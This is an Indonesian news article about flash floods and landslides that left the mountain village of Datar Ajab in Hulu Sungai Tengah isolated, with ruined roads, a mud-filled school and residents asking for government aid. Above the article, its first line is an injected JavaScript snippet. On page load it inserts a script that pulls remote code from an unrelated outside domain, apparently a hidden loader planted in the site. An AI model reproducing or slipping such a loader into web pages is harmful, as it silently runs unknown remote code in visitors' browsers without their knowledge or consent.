(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BARABAI – Banjir bandang dan longsor di Kabupaten Hulu Sungai Tengah (HST), masih membuat Desa Datar Ajab, Kecamatan Hantakan, masih lumpuh total dari segala sisi.
Desa yang berjarak kurang lebih 24 Km dari kota Barabai ini, mengalami kerusakan yang cukup berat. Infrastruktur di desa di Pegunungan Merartus seperti jalan desa, gedung sekolah sampai rumah warga masih luluh lantak. Kondisi ini menyebabkan sistem perekonomian, pendidikan dan lain-lain dalam kondisi lumpuh total.
Untuk bisa sampai ke desa Datar Ajab, perjalanan ditempuh kurang lebih 4 jam dari kota Barabai. Ruas jalan yang menghubungkan Desa Arangani ke Desa Datar Ajab mengalami kerusakan parah, akibat longsor di beberapa titik, selain itu juga karena jalan turun naik gunung yang cukup tajam.
Kepada kanalkalimantan.com, Jumari (52), salah satu tetua Desa Datar Ajab mengatakan, karena bekas longsor itu, membuat jalan menjadi licin, sehingga susah dilewati.
“Jalan sebelum longsor saja lumayan sulit dilewati, apa lagi habis longsor tambah susah lagi. Jadi kami tidak bisa kalau mau turun ke kota,” ujar salah satu korban dari bencana banjir bandang dan longsir di HST ini.
Kerusakan akses jalan menuju Desa Datar Ajab, menghambat roda perekonomian warga Desa Datar Ajab. Warga desa Datar Ajab yang mayoritas petani, menjadi terhambat mengantar hasil pertanian milik mereka turun ke wilayah kota, karena jalan yang licin akibat longsor.
Fasilitas pendidikan di desa ini juga lumpuh total, hingga saat ini kondisi gedung Sekolah Dasar Negeri (SDN) 2 Datar Ajab, masih dipenuhi lumpur di dalam ruang kelas. Halaman sekolah masih dipenuhi tumpukan sampah dan kayu yang dibawa oleh bah, membuat aktifitas belajar tidak bisa beroperasi.
Masni (37), salah satu guru di SDN 2 Datar Ajab tersebut, kepada Kanalkalimantan.com mengungkapkan, jangankan untuk operasi belajar seperti biasa, membersihkan gedung sekolah saja masih belum bisa mereka lakukan.
“Kalau tidak dengan bantuan alat, untuk membersihkan gedung sekolah akan sangat susah. Karena untuk memindahkan kayu pohon dan membersihkan lumpur dalam bangunan sekolah tidak mampu, kalau hanya mengandalkan tenaga manusia saja,” ucap Masni.
Pria penyintas bencana banjir bandang tersebut berharap, pemerintah bisa membantu dalam membenahi gedung sekolah, fasilitas desa maupun jalan yang saat ini kondisinya sangat tidak memungkinkan untuk diakses.
“Ya kalau bisa kan pemerintah bisa membantu dengan alat berat untuk membersihkan sampah maupun batang pohon yang berserakan di desa, terutama yang di halaman sekolah, bisa kalau menggunakan pompa air untuk membersihkan bagian dalam gedung sekolah. Ya selain itu juga menyalurkan bantuan buku-buku tulis dan buku bacaan, karena semua hancur karena banjir,” tandasnya.
Warga juga berharap pemerintah bisa segera menangani perbaikan jalan, agar aktivitas warga bisa kembali normal. Pasca diterjang banjir bandang perekonomian warga di Desa Datar Ajab nyaris tidak aktif. Saat ini warga desa bertahan hidup hanya mengandalkan sumbangan dari para donatur. (kanalkalimantan.com/tius)
Reporter: tius
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi peringati Hari Buruh Sedunia atau… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan, Kebudayaan, Riset, dan Teknologi melalui Balai Penjamin Mutu Pendidikan (BPMP)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah, menutup kegiatan Manasik Haji… Read More
KANALKALIMANTAN.COM, PALANGKARAYA – Bakso merupakan kuliner yang sangat populer dan disukai masyarakat Indonesia. Kelezatan olahan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) terus berupaya mempercepat pencegahan dan penurunan… Read More
This website uses cookies.